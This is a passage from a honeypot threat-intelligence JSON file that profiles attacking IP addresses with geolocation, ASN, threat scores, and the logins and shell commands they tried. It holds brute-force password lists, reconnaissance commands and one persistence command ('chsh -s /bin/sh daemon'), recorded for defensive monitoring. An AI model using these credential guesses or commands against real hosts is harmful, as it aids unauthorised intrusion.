      "last_seen": "2026-03-15T11:51:27.665Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "landa",
        "demo",
        "demo8",
        "lenovo",
        "sl"
      ],
      "passwords_attempted": [
        "Atcg1801",
        "Tianya_123!@#G",
        "Vision_Media!@#9856EREWn#@ttyN",
        "c0b86489",
        "landa",
        "rankhello123!",
        "saile_123!@#",
        "sanggy_123456",
        "test_123456",
        "tianYA_1234!@#$AGCF&gh875652fTT"
      ],
      "commands_executed": [
        "chsh -s /bin/sh daemon"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Panvel",
      "asn": 146943,
      "as_org": "Tier 4 Cloud Services",
      "threat_score": 15.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 111,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T11:39:30.346000+00:00",
        "last_seen_30d": "2026-03-15T11:52:31.575000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 78,
        "Suricata": 33
      }
    },
    "38.188.160.46": {
      "attack_count": 43,
      "first_seen": "2026-03-10T23:05:07.802Z",
      "last_seen": "2026-03-11T00:34:31.763Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "12101987",
        "180386",
        "270989",
        "allezlens",
        "baiseur",
        "grizou",
        "hanene",
        "jalila"
      ],
      "commands_executed": [
        "echo -e \"\\x6F\\x6B\""
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 63,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:05:07.802000+00:00",
        "last_seen_30d": "2026-03-11T00:35:41.482000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 43,
        "Suricata": 20
      }
    },
    "110.37.127.205": {
      "attack_count": 42,
      "first_seen": "2026-03-03T05:03:55.081Z",
      "last_seen": "2026-03-03T05:08:27.465Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 38264,
      "as_org": "National WiMAXIMS environment",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 64,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T05:03:55.081000+00:00",
        "last_seen_30d": "2026-03-03T05:09:30.555000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 42,
        "Suricata": 22
      }
    },
    "64.89.160.135": {
      "attack_count": 42,
      "first_seen": "2026-03-03T06:29:37.239Z",
      "last_seen": "2026-03-30T21:38:14.632Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 205759,
      "as_org": "Ghosty Networks LLC",
      "threat_score": 53.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.2,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 105,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T06:29:37.239000+00:00",
        "last_seen_30d": "2026-03-30T21:39:23.832000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 63,
        "Cowrie": 42
      }
    },
    "168.144.47.233": {
      "attack_count": 40,
      "first_seen": "2026-03-12T14:28:43.941Z",
      "last_seen": "2026-03-12T14:35:07.054Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "123456",
        "admin",
        "admin123",
        "admin2026",
        "password",
        "qwerty"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 57,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T14:28:43.941000+00:00",
        "last_seen_30d": "2026-03-12T14:36:09.386000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 40,
        "Suricata": 17
      }
    },
    "161.35.38.20": {
      "attack_count": 35,
      "first_seen": "2026-03-13T19:11:11.664Z",
      "last_seen": "2026-03-13T19:18:20.633Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "123456",
        "admin",
        "admin123",
        "admin2026",
        "password"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 11.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 50,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T19:11:11.664000+00:00",
        "last_seen_30d": "2026-03-13T19:19:29.140000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 35,
        "Suricata": 15
      }
    },
    "170.64.178.86": {
      "attack_count": 35,
      "first_seen": "2026-03-02T07:19:48.567Z",
      "last_seen": "2026-03-02T07:28:38.136Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "12345678",
        "admin",
        "password"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 50,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T07:04:54.557000+00:00",
        "last_seen_30d": "2026-03-02T07:29:43.503000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 35,
        "Suricata": 15
      }
    },
    "165.232.177.57": {
      "attack_count": 28,
      "first_seen": "2026-03-15T09:54:06.601Z",
      "last_seen": "2026-03-15T09:57:47.949Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123456",
        "password"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download",
        "cowrie.session.params"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 13.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T09:54:05.849000+00:00",
        "last_seen_30d": "2026-03-15T09:58:56.464000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 8
      }
    },
    "178.175.222.122": {
      "attack_count": 28,
      "first_seen": "2026-03-03T08:01:27.844Z",
      "last_seen": "2026-03-03T08:21:49.987Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "A123456s",
        "P@ssw0rd2023!",
        "Welkom123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Mantova",
      "asn": 31263,
      "as_org": "Mynet S.r.l.",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T08:01:27.844000+00:00",
        "last_seen_30d": "2026-03-03T08:31:57.459000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 15
      }
    },
    "209.126.8.213": {
      "attack_count": 28,
      "first_seen": "2026-03-25T12:42:39.682Z",
      "last_seen": "2026-03-25T12:43:27.346Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "St Louis",
      "asn": 40021,
      "as_org": "Contabo Inc.",
      "threat_score": 25.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.4,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 44,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-25T12:42:39.682000+00:00",
        "last_seen_30d": "2026-03-25T12:44:35.505000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 16
      }
    },
    "60.217.22.185": {
      "attack_count": 25,
      "first_seen": "2026-03-30T04:10:09.437Z",
      "last_seen": "2026-03-30T04:11:17.591Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "---fuck_you----",
        "123",
        "12345",
        "Nikhil123"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 36.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.8,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-27T20:50:20+00:00",
        "last_seen_30d": "2026-03-30T04:12:22.453000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25,
        "Suricata": 12,
        "Honeytrap": 1
      }
    },
    "23.97.62.120": {
      "attack_count": 23,
      "first_seen": "2026-03-25T08:17:15.786Z",
      "last_seen": "2026-03-25T11:29:35.836Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1",
        "12",
        "123",
        "1234"
      ],
      "commands_executed": [
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 22.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-25T06:31:11.889000+00:00",
        "last_seen_30d": "2026-03-25T11:30:40.204000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 13
      }
    },
    "142.93.91.222": {
      "attack_count": 22,
      "first_seen": "2026-03-03T20:52:56.691Z",
      "last_seen": "2026-03-04T07:21:59.878Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.4,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 44,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T20:52:56.691000+00:00",
        "last_seen_30d": "2026-03-04T07:23:09.721000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 22
      }
    },
    "173.239.247.10": {
      "attack_count": 22,
      "first_seen": "2026-03-09T16:23:32.536Z",
      "last_seen": "2026-03-09T16:23:40.845Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "12345",
        "PlcmSpIp"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "123456",
        "PlcmSpIp"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Hanoi",
      "asn": 137409,
      "as_org": "GSL Networks Pty LTD",
      "threat_score": 7.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T16:23:32.536000+00:00",
        "last_seen_30d": "2026-03-09T16:24:50.047000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 10
      }
    },
    "103.161.254.93": {
      "attack_count": 21,
      "first_seen": "2026-03-17T09:38:44.055Z",
      "last_seen": "2026-03-17T09:41:56.354Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "centos",
        "debian",
        "linux",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 146772,
      "as_org": "Shenzhen Pengcheng communication network Co., Ltd",
      "threat_score": 14.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 33,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T09:38:44.055000+00:00",
        "last_seen_30d": "2026-03-17T09:51:58.262000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 21,
        "Suricata": 12
      }
    },
    "45.148.10.152": {
      "attack_count": 20,
      "first_seen": "2026-03-04T04:10:51.982Z",
      "last_seen": "2026-03-23T10:02:36.385Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 48090,
      "as_org": "Techoff Srv Limited",
      "threat_score": 32.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.4,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T04:10:51.982000+00:00",
        "last_seen_30d": "2026-03-23T10:03:41.743000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 15
      }
    },
    "66.167.169.151": {
      "attack_count": 20,
      "first_seen": "2026-03-12T22:56:18.760Z",
      "last_seen": "2026-03-12T22:58:28.420Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 10.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T22:56:18.760000+00:00",
        "last_seen_30d": "2026-03-12T22:59:37.853000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 11
      }
    },
    "58.221.68.240": {
      "attack_count": 16,
      "first_seen": "2026-03-10T11:29:31.742Z",
      "last_seen": "2026-03-10T11:32:41.438Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "centos",
        "debian",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 8.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T11:29:31.742000+00:00",
        "last_seen_30d": "2026-03-10T11:33:42.361000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 11
      }
    },
    "116.169.58.224": {
      "attack_count": 15,
      "first_seen": "2026-03-23T08:18:46.216Z",
      "last_seen": "2026-03-23T08:18:51.678Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------",
        "root123456"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Chengdu",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 19.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T08:18:46.216000+00:00",
        "last_seen_30d": "2026-03-23T08:19:57.649000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 7
      }
    },
    "119.28.9.170": {
      "attack_count": 15,
      "first_seen": "2026-03-27T15:44:00.994Z",
      "last_seen": "2026-03-27T15:56:10.005Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin@1234567890",
        "gabriel",
        "yu123456"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 22.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T15:44:00.994000+00:00",
        "last_seen_30d": "2026-03-27T15:57:10.168000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 8
      }
    },
    "185.107.80.93": {
      "attack_count": 12,
      "first_seen": "2026-03-09T21:28:26.105Z",
      "last_seen": "2026-03-25T15:54:50.156Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Ouistreham",
      "asn": 43350,
      "as_org": "NForce Entertainment B.V.",
      "threat_score": 88.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.5,
        "persistence": 19.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 281,
        "days_active_30d": 23,
        "ports_targeted_30d": 20,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-09T02:22:19.529000+00:00",
        "last_seen_30d": "2026-03-31T11:59:53.653000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 199,
        "Honeytrap": 62,
        "Cowrie": 12,
        "Redishoneypot": 6,
        "Dionaea": 2
      }
    },
    "103.74.20.90": {
      "attack_count": 10,
      "first_seen": "2026-03-06T00:12:37.415Z",
      "last_seen": "2026-03-06T00:13:43.832Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 139879,
      "as_org": "Galaxy Broadband",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T00:12:37.415000+00:00",
        "last_seen_30d": "2026-03-06T00:14:49.302000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "162.240.57.187": {
      "attack_count": 10,
      "first_seen": "2026-03-10T21:51:45.007Z",
      "last_seen": "2026-03-11T12:07:05.972Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Kelltech2026",
        "Kelltech@2026"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 46606,
      "as_org": "Unified Layer",
      "threat_score": 8.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T21:51:45.007000+00:00",
        "last_seen_30d": "2026-03-11T12:08:09.131000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "185.93.89.103": {
      "attack_count": 10,
      "first_seen": "2026-03-05T21:12:20.983Z",
      "last_seen": "2026-03-06T03:46:33.358Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "kelltech",
        "root"
      ],
      "passwords_attempted": [
        "!2025kelltech",
        "Kelltech#2026"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 33.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 12.5,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 1120,
        "days_active_30d": 15,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T09:28:41.322000+00:00",
        "last_seen_30d": "2026-03-17T15:47:37.987000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Suricata": 831,
        "Heralding": 279,
        "Cowrie": 10
      }
    },
    "66.132.172.186": {
      "attack_count": 10,
